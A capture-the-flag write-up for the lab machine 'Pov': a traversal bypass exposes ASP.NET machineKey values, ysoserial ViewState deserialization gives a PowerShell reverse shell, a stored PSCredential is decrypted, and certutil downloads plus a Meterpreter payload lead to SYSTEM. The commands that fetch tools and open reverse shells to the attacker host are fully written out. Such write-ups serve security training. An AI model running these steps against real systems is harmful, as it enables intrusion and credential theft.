Introduction #
Pov starts with only a single open web port. On the website I can abuse a file read and directory traversal vulnerability to read ASP.NET configuration used for VIEWSTATE. Then use ysoserial to create a malicious serlialized payload to get code execution and reverse shell. On the host I discovere credentials for another user and abuse his SeDebugPrivilege through Metasploit to get SYSTEM access.
nmap #
nmap finds single open port:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.230.183
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: E9B5E66DEBD9405ED864CAC17E2A888E
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The title is pov.htb, add it to /etc/hosts
Web - TCP 80 #
Links on the page does not point to anything.

There is a contact form at the bottom that does not send any data.

Subdomain enum #
As I have the domain name, I will try to find any available subdomains of pov.htb:
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fs 12330
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 12330
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 1109ms]
Dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 44ms]
DEV [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 75ms]
:: Progress: [220561/220561] :: Job [1/1] :: 510 req/sec :: Duration: [0:05:18] :: Errors: 0 ::
Ffuf finds a dev subdomain, add dev.pov.htb to /etc/hosts and check what is there.
dev.pov.htb #
Not much on the site. The site root redirects to /portfolio (a portfolio for a web developer).

Again there is contact form at the bottom, this time it even sends data, possible avenue for blind XSS here?

and button to download a CV:

Download request #
When I intercept the download request I see the filename is specified there:
&file=cv.pdf

I can try to replace it and download another file to see if there are any whitelist rules or other security precautions.
From the URL I know there is default.aspx so I try to get that:


It works and I can read the code.
Almost everything there seems like static html, but at the top there is mention of another file, index.aspx.cs

I can download that too.
Vulnerable code #

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;
public partial class index : System.Web.UI.Page {
protected void Page_Load(object sender, EventArgs e) {
}
protected void Download(object sender, EventArgs e) {
var filePath = file.Value;
filePath = Regex.Replace(filePath, "../", "");
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
Response.TransmitFile(filePath);
Response.End();
}
}
This code implements a file download feature for an ASP.NET web page. Here’s what happens:
When the Download button/control is clicked:
- Gets a file path from a form input field called
file - Attempts to sanitize the path by removing
../sequences (to prevent directory traversal) - Sets the HTTP response to treat the content as a downloadable file (
application/octet-stream) - Adds a header telling the browser to download rather than display the file
- Transmits the file contents to the user’s browser
- Ends the response
The problem: The path sanitization is dangerously inadequate.
While it removes ../, which will trevent basic directory traversal, I can bypass it by using absolute paths or with variations like ....// (becomes ../ after replacement), the same vulnerability as in Code.
This allows me to download any file the web server has access to.
For PoC I can take a look at hosts:

View State exploit #
It works, now I can look at more interesting files, starting with web.config - the main configuration file for ASP.NET web applications:
(You can see the ....// to ../ transformation here)

<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
The hardcoded machineKey is extremely dangerous and getting access to this is my way in.
Encryption and validation keys are used for, among other things, ViewState encryption/validation.
With these keys exposed, I can create malicious ViewState payload to execute arbitrary code (deserialization attack).
Shell as sfitz #
I can use ysoserial.net to generate deserialization payload
From documentation:
(*) ViewState (Generates a ViewState using known MachineKey parameters)
Options:
<SNIP>
-g, --gadget=VALUE A gadget chain that supports LosFormatter.
Default: ActivitySurrogateSelector.
-c, --command=VALUE The command suitable for the used gadget (will
be ignored for ActivitySurrogateSelector).
<SNIP>
--da, --decryptionalg=VALUE
The encryption algorithm can be set to DES, 3DE-
S, or AES. Default: AES.
--dk, --decryptionkey=VALUE
The decryptionKey attribute from machineKey in
the web.config file.
--va, --validationalg=VALUE
The validation algorithm can be set to SHA1,
HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
or AES. Default: HMACSHA256.
--vk, --validationkey=VALUE
The validationKey attribute from machineKey in
the web.config file.
<SNIP>
As a command -c I can use a reverse shell.
This will generate a base64-encoded string:
PS C:\Users\123\Desktop\Release> .\ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477C...<SNIP>...3B43" --validationalg="SHA1" --validationkey="5620D3D029...<SNIP>...67BC16633468" --path="/portfolio" -c "powershell -e JAB...<SNIP>...bwBzAGUAKAApAA=="
QZvYpkhNFE0E...<SNIP>...xG%2F9vibg%3D%3D
When I replace the original __VIEWSTATE in the request with the generated string and submit the request, there is a shell waiting at nc listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.47] from (UNKNOWN) [10.129.230.183] 49671
PS C:\windows\system32\inetsrv> whoami
pov\sfitz
PS C:\windows\system32\inetsrv>
Shell as alaading #
This user does not have the user flag, looking at C:\users I probably need to get to alaading.
There is interesting-looking file, connection.xml, in Documents:
PS C:\users\sfitz\Documents> dir
Directory: C:\users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
PS C:\users\sfitz\Documents> type connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
And it is a PSCredential file for alaading.
Get password #
The file was probably generated by Export-CliXml, in that way PowerShell serializes the PSCredential object into an XML file.
The password is encrypted when saved to the XML file. This encryption is tied to the current user’s profile and the machine. This means:
Only the same user who exported it can import it. Only on the same machine where it was exported can it be imported.
To decrypt it I can use Import-CliXml, it reads the file and automatically decrypts the SecureString data.
$cred = Import-CliXml -Path connection.xml
So, when the $cred object is created in memory by Import-CliXml, its .Password property (the SecureString) is decrypted within the current user’s session context.
The GetNetworkCredential() then takes the in-memory password and converts it to a standard String so it could be assigned to the System.Net.NetworkCredential object’s .Password property.
PS C:\users\sfitz\Documents> $cred = Import-CliXml -Path connection.xml
PS C:\users\sfitz\Documents> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
Runas #
Now that I have the password I can try to run commands as alaading.
I can host a RunasCs.exe on a Python webserver on my host and upload it to Pov:
└─$ python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.129.230.183 - - [06/Jan/2026 08:13:40] "GET /RunasCs.exe HTTP/1.1" 200 -
PS C:\temp> certutil -urlcache -f http://10.10.15.47:8082/RunasCs.exe RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/6/2026 5:18 AM 51712 RunasCs.exe
Now run it to get a revese shell:
PS C:\temp> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.15.47:4445
On a listener I get a hit:
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.15.47] from (UNKNOWN) [10.129.230.183] 49679
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
pov\alaading
Root #
Check alaading’s privileges:
PS C:\Users\alaading\Desktop> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
And there is SeDebugPrivilege, for some reason it is disabled on cmd …
:\Users\alaading\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
I can exploit the privilege to get a SYSTEM.
User with that privilege can debug any process (including those running as system), they can inject code into those processes and run whatever they want as that user.
Meterpreter Migrate #
Meterpreter allows migrating from one process into another. Normally, this can be done only for processes running as the same user (unless Meterpreter is running as administrator or System). But the SeDebugPrivilege also allows it.
The process is easy:
- Create a payload to get a Meterpreter shell on Pov
- Run it on host to get a meterpreter
- Migrate process runnig as SYSTEM
- Profit
Create a payload:
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.47 LPORT=4446 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe
This generates a rev.exe. Next, upload it to the box.
PS C:\Users\alaading\Desktop> certutil -urlcache -f http://10.10.15.47:8082/rev.exe rev.exe
certutil -urlcache -f http://10.10.15.47:8082/rev.exe rev.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\alaading\Desktop> dir
dir
Directory: C:\Users\alaading\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/6/2026 5:28 AM 5926 psgetsys.ps1
-a---- 1/6/2026 5:35 AM 7168 rev.exe
-ar--- 1/6/2026 1:54 AM 34 user.txt
Now, start msfconsole and use the exploit/multi/handler exploit and meterpreter/reverse_tcp payload:
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.15.47
lhost => 10.10.15.47
msf6 exploit(multi/handler) > set lport 4446
lport => 4446
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.15.47:4446
Run the rev.exe from cmd
And get a hit:
[*] Meterpreter session 1 opened (10.10.15.47:4446 -> 10.129.230.183:49708) at 2026-01-06 08:42:18 -0500
meterpreter >
Now I need a PID of process runnig as SYSTEM, first option is always winlogon:
meterpreter > ps winlogon
Filtering on 'winlogon'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
544 468 winlogon.exe x64 1 C:\Windows\System32\winlogon.exe
Now migrate it to get a SYSTEM and grab a flag:
meterpreter > migrate 544
[*] Migrating from 1308 to 544...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 4500 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd \users\administrator\desktop
cd \users\administrator\desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
e8d8a0.........19446411